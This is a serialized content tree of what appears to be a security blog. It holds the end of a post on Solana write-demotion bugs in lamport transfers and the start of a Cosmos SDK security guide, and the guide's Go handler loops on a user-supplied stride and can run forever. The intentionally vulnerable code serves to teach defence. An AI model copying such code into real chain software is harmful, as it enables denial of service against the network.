style":2375},[74949],{"type":32,"value":70976},{"type":26,"tag":475,"props":74951,"children":74952},{"style":714},[74953],{"type":32,"value":179},{"type":26,"tag":475,"props":74955,"children":74956},{"style":505},[74957],{"type":32,"value":22803},{"type":26,"tag":475,"props":74959,"children":74960},{"style":499},[74961],{"type":32,"value":22631},{"type":26,"tag":475,"props":74963,"children":74964},{"style":505},[74965],{"type":32,"value":22636},{"type":26,"tag":475,"props":74967,"children":74968},{"style":499},[74969],{"type":32,"value":637},{"type":26,"tag":475,"props":74971,"children":74972},{"style":505},[74973],{"type":32,"value":71001},{"type":26,"tag":475,"props":74975,"children":74976},{"style":499},[74977],{"type":32,"value":5852},{"type":26,"tag":475,"props":74979,"children":74980},{"class":477,"line":558},[74981],{"type":26,"tag":475,"props":74982,"children":74983},{"emptyLinePlaceholder":18},[74984],{"type":32,"value":545},{"type":26,"tag":475,"props":74986,"children":74987},{"class":477,"line":582},[74988,74992,74996,75000,75004,75008,75012,75016,75020,75024,75028],{"type":26,"tag":475,"props":74989,"children":74990},{"style":499},[74991],{"type":32,"value":22838},{"type":26,"tag":475,"props":74993,"children":74994},{"style":482},[74995],{"type":32,"value":3430},{"type":26,"tag":475,"props":74997,"children":74998},{"style":499},[74999],{"type":32,"value":71036},{"type":26,"tag":475,"props":75001,"children":75002},{"style":714},[75003],{"type":32,"value":786},{"type":26,"tag":475,"props":75005,"children":75006},{"style":499},[75007],{"type":32,"value":71045},{"type":26,"tag":475,"props":75009,"children":75010},{"style":714},[75011],{"type":32,"value":353},{"type":26,"tag":475,"props":75013,"children":75014},{"style":499},[75015],{"type":32,"value":71054},{"type":26,"tag":475,"props":75017,"children":75018},{"style":714},[75019],{"type":32,"value":8287},{"type":26,"tag":475,"props":75021,"children":75022},{"style":499},[75023],{"type":32,"value":70976},{"type":26,"tag":475,"props":75025,"children":75026},{"style":714},[75027],{"type":32,"value":353},{"type":26,"tag":475,"props":75029,"children":75030},{"style":499},[75031],{"type":32,"value":71071},{"type":26,"tag":475,"props":75033,"children":75034},{"class":477,"line":596},[75035,75039,75043,75047,75051,75055,75059],{"type":26,"tag":475,"props":75036,"children":75037},{"style":482},[75038],{"type":32,"value":20551},{"type":26,"tag":475,"props":75040,"children":75041},{"style":2375},[75042],{"type":32,"value":71045},{"type":26,"tag":475,"props":75044,"children":75045},{"style":714},[75046],{"type":32,"value":179},{"type":26,"tag":475,"props":75048,"children":75049},{"style":505},[75050],{"type":32,"value":25099},{"type":26,"tag":475,"props":75052,"children":75053},{"style":499},[75054],{"type":32,"value":22631},{"type":26,"tag":475,"props":75056,"children":75057},{"style":505},[75058],{"type":32,"value":22636},{"type":26,"tag":475,"props":75060,"children":75061},{"style":499},[75062],{"type":32,"value":5852},{"type":26,"tag":475,"props":75064,"children":75065},{"class":477,"line":610},[75066],{"type":26,"tag":475,"props":75067,"children":75068},{"emptyLinePlaceholder":18},[75069],{"type":32,"value":545},{"type":26,"tag":475,"props":75071,"children":75072},{"class":477,"line":650},[75073,75077,75081],{"type":26,"tag":475,"props":75074,"children":75075},{"style":499},[75076],{"type":32,"value":22838},{"type":26,"tag":475,"props":75078,"children":75079},{"style":482},[75080],{"type":32,"value":3430},{"type":26,"tag":475,"props":75082,"children":75083},{"style":499},[75084],{"type":32,"value":19966},{"type":26,"tag":475,"props":75086,"children":75087},{"class":477,"line":679},[75088,75092,75096,75100,75104,75108,75112],{"type":26,"tag":475,"props":75089,"children":75090},{"style":482},[75091],{"type":32,"value":20551},{"type":26,"tag":475,"props":75093,"children":75094},{"style":2375},[75095],{"type":32,"value":71144},{"type":26,"tag":475,"props":75097,"children":75098},{"style":714},[75099],{"type":32,"value":179},{"type":26,"tag":475,"props":75101,"children":75102},{"style":505},[75103],{"type":32,"value":25099},{"type":26,"tag":475,"props":75105,"children":75106},{"style":499},[75107],{"type":32,"value":22631},{"type":26,"tag":475,"props":75109,"children":75110},{"style":505},[75111],{"type":32,"value":22636},{"type":26,"tag":475,"props":75113,"children":75114},{"style":499},[75115],{"type":32,"value":5852},{"type":26,"tag":475,"props":75117,"children":75118},{"class":477,"line":735},[75119],{"type":26,"tag":475,"props":75120,"children":75121},{"emptyLinePlaceholder":18},[75122],{"type":32,"value":545},{"type":26,"tag":475,"props":75124,"children":75125},{"class":477,"line":744},[75126,75130,75134],{"type":26,"tag":475,"props":75127,"children":75128},{"style":499},[75129],{"type":32,"value":22838},{"type":26,"tag":475,"props":75131,"children":75132},{"style":482},[75133],{"type":32,"value":3430},{"type":26,"tag":475,"props":75135,"children":75136},{"style":499},[75137],{"type":32,"value":19966},{"type":26,"tag":475,"props":75139,"children":75140},{"class":477,"line":753},[75141,75145,75149,75153,75157,75161,75165],{"type":26,"tag":475,"props":75142,"children":75143},{"style":482},[75144],{"type":32,"value":20551},{"type":26,"tag":475,"props":75146,"children":75147},{"style":2375},[75148],{"type":32,"value":41930},{"type":26,"tag":475,"props":75150,"children":75151},{"style":714},[75152],{"type":32,"value":179},{"type":26,"tag":475,"props":75154,"children":75155},{"style":505},[75156],{"type":32,"value":22867},{"type":26,"tag":475,"props":75158,"children":75159},{"style":499},[75160],{"type":32,"value":22631},{"type":26,"tag":475,"props":75162,"children":75163},{"style":505},[75164],{"type":32,"value":22636},{"type":26,"tag":475,"props":75166,"children":75167},{"style":499},[75168],{"type":32,"value":5852},{"type":26,"tag":475,"props":75170,"children":75171},{"class":477,"line":761},[75172],{"type":26,"tag":475,"props":75173,"children":75174},{"style":499},[75175],{"type":32,"value":3607},{"type":26,"tag":35,"props":75177,"children":75178},{},[75179,75181,75187,75189,75195],{"type":32,"value":75180},"This works fine — until one day, ",{"type":26,"tag":53,"props":75182,"children":75184},{"className":75183},[],[75185],{"type":32,"value":75186},"old_king",{"type":32,"value":75188}," is silently demoted. Suddenly, the ",{"type":26,"tag":53,"props":75190,"children":75192},{"className":75191},[],[75193],{"type":32,"value":75194},"#[account(mut)]",{"type":32,"value":75196}," constraint fails, and your program is bricked. Even though you're passing a writable account in the transaction, the runtime has made a unilateral decision to override that.",{"type":26,"tag":70,"props":75198,"children":75200},{"id":75199},"real-world-example-write-demotion-with-secp256r1_program",[75201,75203],{"type":32,"value":75202},"Real-World Example: Write-Demotion with ",{"type":26,"tag":53,"props":75204,"children":75206},{"className":75205},[],[75207],{"type":32,"value":75208},"secp256r1_program",{"type":26,"tag":35,"props":75210,"children":75211},{},[75212,75214,75219],{"type":32,"value":75213},"Here’s a concrete example of the write-demotion trap playing out on mainnet — involving ",{"type":26,"tag":53,"props":75215,"children":75217},{"className":75216},[],[75218],{"type":32,"value":75208},{"type":32,"value":75220},", a precompiled program gated behind a feature flag:",{"type":26,"tag":465,"props":75222,"children":75224},{"className":2685,"code":75223,"language":2684,"meta":7,"style":7},"ReservedAccount::new_pending(\n secp256r1_program::id(),\n feature_set::enable_secp256r1_precompile::id(),\n)\n",[75225],{"type":26,"tag":53,"props":75226,"children":75227},{"__ignoreMap":7},[75228,75249,75269,75298],{"type":26,"tag":475,"props":75229,"children":75230},{"class":477,"line":478},[75231,75236,75240,75245],{"type":26,"tag":475,"props":75232,"children":75233},{"style":505},[75234],{"type":32,"value":75235},"ReservedAccount",{"type":26,"tag":475,"props":75237,"children":75238},{"style":714},[75239],{"type":32,"value":3187},{"type":26,"tag":475,"props":75241,"children":75242},{"style":493},[75243],{"type":32,"value":75244},"new_pending",{"type":26,"tag":475,"props":75246,"children":75247},{"style":499},[75248],{"type":32,"value":3169},{"type":26,"tag":475,"props":75250,"children":75251},{"class":477,"line":516},[75252,75257,75261,75265],{"type":26,"tag":475,"props":75253,"children":75254},{"style":499},[75255],{"type":32,"value":75256}," secp256r1_program",{"type":26,"tag":475,"props":75258,"children":75259},{"style":714},[75260],{"type":32,"value":3187},{"type":26,"tag":475,"props":75262,"children":75263},{"style":493},[75264],{"type":32,"value":3192},{"type":26,"tag":475,"props":75266,"children":75267},{"style":499},[75268],{"type":32,"value":3197},{"type":26,"tag":475,"props":75270,"children":75271},{"class":477,"line":539},[75272,75277,75281,75286,75290,75294],{"type":26,"tag":475,"props":75273,"children":75274},{"style":499},[75275],{"type":32,"value":75276}," feature_set",{"type":26,"tag":475,"props":75278,"children":75279},{"style":714},[75280],{"type":32,"value":3187},{"type":26,"tag":475,"props":75282,"children":75283},{"style":499},[75284],{"type":32,"value":75285},"enable_secp256r1_precompile",{"type":26,"tag":475,"props":75287,"children":75288},{"style":714},[75289],{"type":32,"value":3187},{"type":26,"tag":475,"props":75291,"children":75292},{"style":493},[75293],{"type":32,"value":3192},{"type":26,"tag":475,"props":75295,"children":75296},{"style":499},[75297],{"type":32,"value":3197},{"type":26,"tag":475,"props":75299,"children":75300},{"class":477,"line":548},[75301],{"type":26,"tag":475,"props":75302,"children":75303},{"style":499},[75304],{"type":32,"value":647},{"type":26,"tag":35,"props":75306,"children":75307},{},[75308,75310,75315,75317,75323],{"type":32,"value":75309},"Before the ",{"type":26,"tag":53,"props":75311,"children":75313},{"className":75312},[],[75314],{"type":32,"value":75285},{"type":32,"value":75316}," feature is activated, this account behaves like any ordinary one. You can assign ",{"type":26,"tag":53,"props":75318,"children":75320},{"className":75319},[],[75321],{"type":32,"value":75322},"secp256r1_program::id()",{"type":32,"value":75324}," as the king in a contract.",{"type":26,"tag":35,"props":75326,"children":75327},{},[75328,75330,75335],{"type":32,"value":75329},"But once the feature is flipped on, the runtime silently marks it as read-only, blocking any future writes. As a result, ",{"type":26,"tag":53,"props":75331,"children":75333},{"className":75332},[],[75334],{"type":32,"value":75322},{"type":32,"value":75336}," becomes the eternal king, and no one can dethrone it.",{"type":26,"tag":70,"props":75338,"children":75340},{"id":75339},"fix-3-preventing-write-demotion-pitfalls",[75341],{"type":32,"value":75342},"Fix 3: Preventing Write-Demotion Pitfalls",{"type":26,"tag":35,"props":75344,"children":75345},{},[75346,75348,75353],{"type":32,"value":75347},"Alright, let’s try to fix this ",{"type":26,"tag":2615,"props":75349,"children":75350},{},[75351],{"type":32,"value":75352},"yet another",{"type":32,"value":75354}," edge case — and hopefully close the book on it.",{"type":26,"tag":70,"props":75356,"children":75358},{"id":75357},"attempt-1-block-known-reserved-accounts",[75359],{"type":32,"value":75360},"Attempt 1: Block Known Reserved Accounts",{"type":26,"tag":35,"props":75362,"children":75363},{},[75364],{"type":32,"value":75365},"One naive solution is to reject any known reserved account, for example:",{"type":26,"tag":465,"props":75367,"children":75369},{"className":40048,"code":75368,"language":40050,"meta":7,"style":7}," pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n+ assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",[75370],{"type":26,"tag":53,"props":75371,"children":75372},{"__ignoreMap":7},[75373,75381],{"type":26,"tag":475,"props":75374,"children":75375},{"class":477,"line":478},[75376],{"type":26,"tag":475,"props":75377,"children":75378},{"style":499},[75379],{"type":32,"value":75380}," pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n",{"type":26,"tag":475,"props":75382,"children":75383},{"class":477,"line":516},[75384],{"type":26,"tag":475,"props":75385,"children":75386},{"style":903},[75387],{"type":32,"value":75388},"+ assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",{"type":26,"tag":35,"props":75390,"children":75391},{},[75392,75394,75399],{"type":32,"value":75393},"This works in the short term, but doesn’t scale — you can’t predict all future additions to the ",{"type":26,"tag":53,"props":75395,"children":75397},{"className":75396},[],[75398],{"type":32,"value":75235},{"type":32,"value":75400}," list. The moment a new reserved account is introduced, your program becomes vulnerable again.",{"type":26,"tag":70,"props":75402,"children":75404},{"id":75403},"attempt-2-use-a-pda-vault",[75405],{"type":32,"value":75406},"Attempt 2: Use a PDA Vault",{"type":26,"tag":35,"props":75408,"children":75409},{},[75410,75412,75417],{"type":32,"value":75411},"A more future-proof fix is to avoid ",{"type":26,"tag":105,"props":75413,"children":75414},{},[75415],{"type":32,"value":75416},"transferring lamports to arbitrary accounts",{"type":32,"value":75418}," altogether.",{"type":26,"tag":35,"props":75420,"children":75421},{},[75422],{"type":32,"value":75423},"A clean approach would be to store the refund lamports in a PDA vault owned by your program. This prevents your logic from depending on accounts you don’t have complete control over, and sidesteps any risk of write-demotion or future account restrictions.",{"type":26,"tag":27,"props":75425,"children":75427},{"id":75426},"final-thoughts",[75428],{"type":32,"value":75429},"Final Thoughts",{"type":26,"tag":35,"props":75431,"children":75432},{},[75433],{"type":32,"value":75434},"Transferring lamports on Solana is not always straightforward and carries potential risks. Account constraints alone are insufficient to ensure safety, especially when dealing with runtime-specific edge cases.",{"type":26,"tag":35,"props":75436,"children":75437},{},[75438],{"type":32,"value":75439},"We can safely transfer lamports to an account under the following conditions:",{"type":26,"tag":82,"props":75441,"children":75442},{},[75443,75448,75453],{"type":26,"tag":86,"props":75444,"children":75445},{},[75446],{"type":32,"value":75447},"It's not executable.",{"type":26,"tag":86,"props":75449,"children":75450},{},[75451],{"type":32,"value":75452},"Its balance, after the transfer, remains rent-exempt.",{"type":26,"tag":86,"props":75454,"children":75455},{},[75456],{"type":32,"value":75457},"It's not a reserved account.",{"type":26,"tag":35,"props":75459,"children":75460},{},[75461],{"type":32,"value":75462},"This issue is not purely theoretical; it has impacted real-world programs. One significant case was recently reported to Jito via the bug bounty, which could have resulted in incorrect tip payments.",{"type":26,"tag":2548,"props":75464,"children":75465},{},[75466],{"type":32,"value":2552},{"title":7,"searchDepth":516,"depth":516,"links":75468},[75469,75470,75471,75477],{"id":28717,"depth":516,"text":28720},{"id":70851,"depth":516,"text":70854},{"id":71958,"depth":516,"text":71961,"children":75472},[75473,75474,75476],{"id":71964,"depth":539,"text":71967},{"id":72651,"depth":539,"text":75475},"Bug 2: Writable but Untouchable — set_lamports Fails",{"id":73956,"depth":539,"text":73959},{"id":75426,"depth":516,"text":75429},"content:blog:2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol",{"_path":75482,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":75483,"description":75484,"date":75485,"author":75486,"image":75487,"isFeatured":18,"onBlogPage":18,"tags":75489,"body":75492,"_type":2566,"_id":89368,"_source":2568,"_file":89369,"_stem":89370,"_extension":2571},"/blog/2025-06-10-cosmos-security","Cosmos Security: An Otter's Guide","From infinite loops and map determinism to AnteHandler missteps and storage key collisions, we highlight real-world vulnerabilities and actionable advice for building safer Cosmos-based projects.","2025-06-10","james",{"src":75488,"width":17,"height":17},"/posts/cosmos-security/title.png",[75490,75491],"cosmos-sdk","security",{"type":23,"children":75493,"toc":89346},[75494,75498,75503,75508,75514,75519,75524,75529,75790,76279,76298,76303,76308,76313,76319,76324,76359,76369,76876,76896,76909,76915,76920,76925,77166,77171,77179,77191,77553,77558,77563,77599,77608,78034,78055,78061,78081,78102,78121,78153,78165,78177,78831,78859,78868,79308,79335,79355,79360,79381,79430,79439,80664,80692,80698,80703,80708,80728,81015,81049,81230,81235,81240,81284,81293,82485,82736,82749,82755,82789,82794,82857,82862,82882,82901,82913,82932,83624,83629,83634,83662,83671,84556,84583,84589,84609,84614,84627,84801,84814,84905,84910,84918,84928,85078,85083,85103,85111,85116,85514,85526,85531,85572,85583,85603,85911,85916,86841,86853,86861,86866,87857,87862,87874,87894,87913,88827,88884,88990,89002,89007,89012,89040,89049,89275,89301,89314,89328,89332,89337,89342],{"type":26,"tag":27,"props":75495,"children":75496},{"id":28717},[75497],{"type":32,"value":28720},{"type":26,"tag":35,"props":75499,"children":75500},{},[75501],{"type":32,"value":75502},"The Cosmos SDK is an \"L1 toolkit\" for developers. It provides an open-source tool that enhances the ability to build application-specific L1 chains, all while prioritizing flexibility and control over the entire runtime environment. Unfortunately, with the convenience of the Cosmos SDK, security can be an oversight.",{"type":26,"tag":35,"props":75504,"children":75505},{},[75506],{"type":32,"value":75507},"In this comprehensive blog post, we break down security issues that are often overseen by developers, supported by real-world examples from live projects. Our goal is to provide a practical exploration of security vulnerabilities while also offering insights on how developers can identify and address these issues on their own.",{"type":26,"tag":27,"props":75509,"children":75511},{"id":75510},"its-loopin-time",[75512],{"type":32,"value":75513},"It's Loopin' Time",{"type":26,"tag":35,"props":75515,"children":75516},{},[75517],{"type":32,"value":75518},"There are notable differences in building app-specific L1s using the SDK and building contracts on established L1 chains. It is especially crucial to recognize that maintaining the stability of a blockchain is dependent on the developer.",{"type":26,"tag":35,"props":75520,"children":75521},{},[75522],{"type":32,"value":75523},"Below, we begin to demonstrate the differences between writing smart contracts with Solidity vs developing L1 with the Cosmos SDK.",{"type":26,"tag":35,"props":75525,"children":75526},{},[75527],{"type":32,"value":75528},"Here is a simple example for reference:",{"type":26,"tag":465,"props":75530,"children":75532},{"code":75531,"language":4185,"meta":7,"className":4186,"style":7},"function sumWithStride(\n uint64 start,\n uint64 stride,\n uint64[] memory arr\n) public returns (uint64) {\n uint64 idx = start;\n uint64 sum = 0;\n uint64 end = arr.length;\n\n while (idx \u003C end) {\n sum += arr[idx];\n idx += stride;\n }\n return sum;\n}\n",[75533],{"type":26,"tag":53,"props":75534,"children":75535},{"__ignoreMap":7},[75536,75552,75569,75585,75607,75636,75657,75681,75702,75709,75730,75747,75764,75771,75783],{"type":26,"tag":475,"props":75537,"children":75538},{"class":477,"line":478},[75539,75543,75548],{"type":26,"tag":475,"props":75540,"children":75541},{"style":482},[75542],{"type":32,"value":31077},{"type":26,"tag":475,"props":75544,"children":75545},{"style":493},[75546],{"type":32,"value":75547}," sumWithStride",{"type":26,"tag":475,"props":75549,"children":75550},{"style":499},[75551],{"type":32,"value":3169},{"type":26,"tag":475,"props":75553,"children":75554},{"class":477,"line":516},[75555,75560,75565],{"type":26,"tag":475,"props":75556,"children":75557},{"style":505},[75558],{"type":32,"value":75559}," uint64",{"type":26,"tag":475,"props":75561,"children":75562},{"style":2375},[75563],{"type":32,"value":75564}," start",{"type":26,"tag":475,"props":75566,"children":75567},{"style":499},[75568],{"type":32,"value":2425},{"type":26,"tag":475,"props":75570,"children":75571},{"class":477,"line":539},[75572,75576,75581],{"type":26,"tag":475,"props":75573,"children":75574},{"style":505},[75575],{"type":32,"value":75559},{"type":26,"tag":475,"props":75577,"children":75578},{"style":2375},[75579],{"type":32,"value":75580}," stride",{"type":26,"tag":475,"props":75582,"children":75583},{"style":499},[75584],{"type":32,"value":2425},{"type":26,"tag":475,"props":75586,"children":75587},{"class":477,"line":548},[75588,75592,75597,75602],{"type":26,"tag":475,"props":75589,"children":75590},{"style":505},[75591],{"type":32,"value":75559},{"type":26,"tag":475,"props":75593,"children":75594},{"style":499},[75595],{"type":32,"value":75596},"[] ",{"type":26,"tag":475,"props":75598,"children":75599},{"style":482},[75600],{"type":32,"value":75601},"memory",{"type":26,"tag":475,"props":75603,"children":75604},{"style":2375},[75605],{"type":32,"value":75606}," arr\n",{"type":26,"tag":475,"props":75608,"children":75609},{"class":477,"line":558},[75610,75614,75618,75623,75627,75632],{"type":26,"tag":475,"props":75611,"children":75612},{"style":499},[75613],{"type":32,"value":2794},{"type":26,"tag":475,"props":75615,"children":75616},{"style":482},[75617],{"type":32,"value":61367},{"type":26,"tag":475,"props":75619,"children":75620},{"style":586},[75621],{"type":32,"value":75622}," returns",{"type":26,"tag":475,"props":75624,"children":75625},{"style":499},[75626],{"type":32,"value":2775},{"type":26,"tag":475,"props":75628,"children":75629},{"style":505},[75630],{"type":32,"value":75631},"uint64",{"type":26,"tag":475,"props":75633,"children":75634},{"style":499},[75635],{"type":32,"value":676},{"type":26,"tag":475,"props":75637,"children":75638},{"class":477,"line":582},[75639,75643,75648,75652],{"type":26,"tag":475,"props":75640,"children":75641},{"style":505},[75642],{"type":32,"value":75559},{"type":26,"tag":475,"props":75644,"children":75645},{"style":499},[75646],{"type":32,"value":75647}," idx ",{"type":26,"tag":475,"props":75649,"children":75650},{"style":714},[75651],{"type":32,"value":786},{"type":26,"tag":475,"props":75653,"children":75654},{"style":499},[75655],{"type":32,"value":75656}," start;\n",{"type":26,"tag":475,"props":75658,"children":75659},{"class":477,"line":596},[75660,75664,75669,75673,75677],{"type":26,"tag":475,"props":75661,"children":75662},{"style":505},[75663],{"type":32,"value":75559},{"type":26,"tag":475,"props":75665,"children":75666},{"style":499},[75667],{"type":32,"value":75668}," sum ",{"type":26,"tag":475,"props":75670,"children":75671},{"style":714},[75672],{"type":32,"value":786},{"type":26,"tag":475,"props":75674,"children":75675},{"style":903},[75676],{"type":32,"value":2752},{"type":26,"tag":475,"props":75678,"children":75679},{"style":499},[75680],{"type":32,"value":2729},{"type":26,"tag":475,"props":75682,"children":75683},{"class":477,"line":610},[75684,75688,75693,75697],{"type":26,"tag":475,"props":75685,"children":75686},{"style":505},[75687],{"type":32,"value":75559},{"type":26,"tag":475,"props":75689,"children":75690},{"style":499},[75691],{"type":32,"value":75692}," end ",{"type":26,"tag":475,"props":75694,"children":75695},{"style":714},[75696],{"type":32,"value":786},{"type":26,"tag":475,"props":75698,"children":75699},{"style":499},[75700],{"type":32,"value":75701}," arr.length;\n",{"type":26,"tag":475,"props":75703,"children":75704},{"class":477,"line":650},[75705],{"type":26,"tag":475,"props":75706,"children":75707},{"emptyLinePlaceholder":18},[75708],{"type":32,"value":545},{"type":26,"tag":475,"props":75710,"children":75711},{"class":477,"line":679},[75712,75716,75721,75725],{"type":26,"tag":475,"props":75713,"children":75714},{"style":586},[75715],{"type":32,"value":64066},{"type":26,"tag":475,"props":75717,"children":75718},{"style":499},[75719],{"type":32,"value":75720}," (idx ",{"type":26,"tag":475,"props":75722,"children":75723},{"style":714},[75724],{"type":32,"value":5519},{"type":26,"tag":475,"props":75726,"children":75727},{"style":499},[75728],{"type":32,"value":75729}," end) {\n",{"type":26,"tag":475,"props":75731,"children":75732},{"class":477,"line":735},[75733,75738,75742],{"type":26,"tag":475,"props":75734,"children":75735},{"style":499},[75736],{"type":32,"value":75737}," sum ",{"type":26,"tag":475,"props":75739,"children":75740},{"style":714},[75741],{"type":32,"value":68131},{"type":26,"tag":475,"props":75743,"children":75744},{"style":499},[75745],{"type":32,"value":75746}," arr[idx];\n",{"type":26,"tag":475,"props":75748,"children":75749},{"class":477,"line":744},[75750,75755,75759],{"type":26,"tag":475,"props":75751,"children":75752},{"style":499},[75753],{"type":32,"value":75754}," idx ",{"type":26,"tag":475,"props":75756,"children":75757},{"style":714},[75758],{"type":32,"value":68131},{"type":26,"tag":475,"props":75760,"children":75761},{"style":499},[75762],{"type":32,"value":75763}," stride;\n",{"type":26,"tag":475,"props":75765,"children":75766},{"class":477,"line":753},[75767],{"type":26,"tag":475,"props":75768,"children":75769},{"style":499},[75770],{"type":32,"value":851},{"type":26,"tag":475,"props":75772,"children":75773},{"class":477,"line":761},[75774,75778],{"type":26,"tag":475,"props":75775,"children":75776},{"style":586},[75777],{"type":32,"value":16695},{"type":26,"tag":475,"props":75779,"children":75780},{"style":499},[75781],{"type":32,"value":75782}," sum;\n",{"type":26,"tag":475,"props":75784,"children":75785},{"class":477,"line":770},[75786],{"type":26,"tag":475,"props":75787,"children":75788},{"style":499},[75789],{"type":32,"value":3607},{"type":26,"tag":465,"props":75791,"children":75795},{"code":75792,"language":75793,"meta":7,"className":75794,"style":7},"type MsgSumWithStrideParams struct {\n Start uint64\n Stride uint64\n Arr []uint64\n}\n\ntype MsgSumWithStrideResponse struct {\n Sum uint64\n}\n\nfunc (ms msgServer) SumWithStride(\n goCtx context.Context,\n msg *MsgSumWithStrideParams,\n) (*MsgSumWithStrideResponse, error) {\n sum := uint64(0)\n end := uint64(len(msg.Arr))\n for idx := msg.Start; idx \u003C end; idx += msg.Stride {\n sum += msg.Arr[idx]\n }\n return &MsgSumWithStrideResponse{Sum: sum}, nil\n}\n","go","language-go shiki shiki-themes slack-dark",[75796],{"type":26,"tag":53,"props":75797,"children":75798},{"__ignoreMap":7},[75799,75819,75832,75844,75862,75869,75876,75896,75908,75915,75922,75957,75983,76004,76033,76063,76108,76185,76221,76228,76272],{"type":26,"tag":475,"props":75800,"children":75801},{"class":477,"line":478},[75802,75806,75811,75815],{"type":26,"tag":475,"props":75803,"children":75804},{"style":482},[75805],{"type":32,"value":32455},{"type":26,"tag":475,"props":75807,"children":75808},{"style":505},[75809],{"type":32,"value":75810}," MsgSumWithStrideParams",{"type":26,"tag":475,"props":75812,"children":75813},{"style":482},[75814],{"type":32,"value":20859},{"type":26,"tag":475,"props":75816,"children":75817},{"style":499},[75818],{"type":32,"value":579},{"type":26,"tag":475,"props":75820,"children":75821},{"class":477,"line":516},[75822,75827],{"type":26,"tag":475,"props":75823,"children":75824},{"style":2375},[75825],{"type":32,"value":75826}," Start",{"type":26,"tag":475,"props":75828,"children":75829},{"style":505},[75830],{"type":32,"value":75831}," uint64\n",{"type":26,"tag":475,"props":75833,"children":75834},{"class":477,"line":539},[75835,75840],{"type":26,"tag":475,"props":75836,"children":75837},{"style":2375},[75838],{"type":32,"value":75839}," Stride",{"type":26,"tag":475,"props":75841,"children":75842},{"style":505},[75843],{"type":32,"value":75831},{"type":26,"tag":475,"props":75845,"children":75846},{"class":477,"line":548},[75847,75852,75857],{"type":26,"tag":475,"props":75848,"children":75849},{"style":2375},[75850],{"type":32,"value":75851}," Arr",{"type":26,"tag":475,"props":75853,"children":75854},{"style":499},[75855],{"type":32,"value":75856}," []",{"type":26,"tag":475,"props":75858,"children":75859},{"style":505},[75860],{"type":32,"value":75861},"uint64\n",{"type":26,"tag":475,"props":75863,"children":75864},{"class":477,"line":558},[75865],{"type":26,"tag":475,"props":75866,"children":75867},{"style":499},[75868],{"type":32,"value":3607},{"type":26,"tag":475,"props":75870,"children":75871},{"class":477,"line":582},[75872],{"type":26,"tag":475,"props":75873,"children":75874},{"emptyLinePlaceholder":18},[75875],{"type":32,"value":545},{"type":26,"tag":475,"props":75877,"children":75878},{"class":477,"line":596},[75879,75883,75888,75892],{"type":26,"tag":475,"props":75880,"children":75881},{"style":482},[75882],{"type":32,"value":32455},{"type":26,"tag":475,"props":75884,"children":75885},{"style":505},[75886],{"type":32,"value":75887}," MsgSumWithStrideResponse",{"type":26,"tag":475,"props":75889,"children":75890},{"style":482},[75891],{"type":32,"value":20859},{"type":26,"tag":475,"props":75893,"children":75894},{"style":499},[75895],{"type":32,"value":579},{"type":26,"tag":475,"props":75897,"children":75898},{"class":477,"line":610},[75899,75904],{"type":26,"tag":475,"props":75900,"children":75901},{"style":2375},[75902],{"type":32,"value":75903}," Sum",{"type":26,"tag":475,"props":75905,"children":75906},{"style":505},[75907],{"type":32,"value":75831},{"type":26,"tag":475,"props":75909,"children":75910},{"class":477,"line":650},[75911],{"type":26,"tag":475,"props":75912,"children":75913},{"style":499},[75914],{"type":32,"value":3607},{"type":26,"tag":475,"props":75916,"children":75917},{"class":477,"line":679},[75918],{"type":26,"tag":475,"props":75919,"children":75920},{"emptyLinePlaceholder":18},[75921],{"type":32,"value":545},{"type":26,"tag":475,"props":75923,"children":75924},{"class":477,"line":735},[75925,75930,75934,75939,75944,75948,75953],{"type":26,"tag":475,"props":75926,"children":75927},{"style":482},[75928],{"type":32,"value":75929},"func",{"type":26,"tag":475,"props":75931,"children":75932},{"style":499},[75933],{"type":32,"value":2775},{"type":26,"tag":475,"props":75935,"children":75936},{"style":2375},[75937],{"type":32,"value":75938},"ms ",{"type":26,"tag":475,"props":75940,"children":75941},{"style":505},[75942],{"type":32,"value":75943},"msgServer",{"type":26,"tag":475,"props":75945,"children":75946},{"style":499},[75947],{"type":32,"value":2794},{"type":26,"tag":475,"props":75949,"children":75950},{"style":493},[75951],{"type":32,"value":75952},"SumWithStride",{"type":26,"tag":475,"props":75954,"children":75955},{"style":499},[75956],{"type":32,"value":3169},{"type":26,"tag":475,"props":75958,"children":75959},{"class":477,"line":744},[75960,75965,75970,75974,75979],{"type":26,"tag":475,"props":75961,"children":75962},{"style":2375},[75963],{"type":32,"value":75964}," goCtx",{"type":26,"tag":475,"props":75966,"children":75967},{"style":505},[75968],{"type":32,"value":75969}," context",{"type":26,"tag":475,"props":75971,"children":75972},{"style":499},[75973],{"type":32,"value":353},{"type":26,"tag":475,"props":75975,"children":75976},{"style":505},[75977],{"type":32,"value":75978},"Context",{"type":26,"tag":475,"props":75980,"children":75981},{"style":499},[75982],{"type":32,"value":2425},{"type":26,"tag":475,"props":75984,"children":75985},{"class":477,"line":753},[75986,75991,75995,76000],{"type":26,"tag":475,"props":75987,"children":75988},{"style":2375},[75989],{"type":32,"value":75990}," msg",{"type":26,"tag":475,"props":75992,"children":75993},{"style":714},[75994],{"type":32,"value":9525},{"type":26,"tag":475,"props":75996,"children":75997},{"style":505},[75998],{"type":32,"value":75999},"MsgSumWithStrideParams",{"type":26,"tag":475,"props":76001,"children":76002},{"style":499},[76003],{"type":32,"value":2425},{"type":26,"tag":475,"props":76005,"children":76006},{"class":477,"line":761},[76007,76012,76016,76021,76025,76029],{"type":26,"tag":475,"props":76008,"children":76009},{"style":499},[76010],{"type":32,"value":76011},") (",{"type":26,"tag":475,"props":76013,"children":76014},{"style":714},[76015],{"type":32,"value":4282},{"type":26,"tag":475,"props":76017,"children":76018},{"style":505},[76019],{"type":32,"value":76020},"MsgSumWithStrideResponse",{"type":26,"tag":475,"props":76022,"children":76023},{"style":499},[76024],{"type":32,"value":637},{"type":26,"tag":475,"props":76026,"children":76027},{"style":505},[76028],{"type":32,"value":14569},{"type":26,"tag":475,"props":76030,"children":76031},{"style":499},[76032],{"type":32,"value":676},{"type":26,"tag":475,"props":76034,"children":76035},{"class":477,"line":770},[76036,76041,76046,76051,76055,76059],{"type":26,"tag":475,"props":76037,"children":76038},{"style":2375},[76039],{"type":32,"value":76040}," 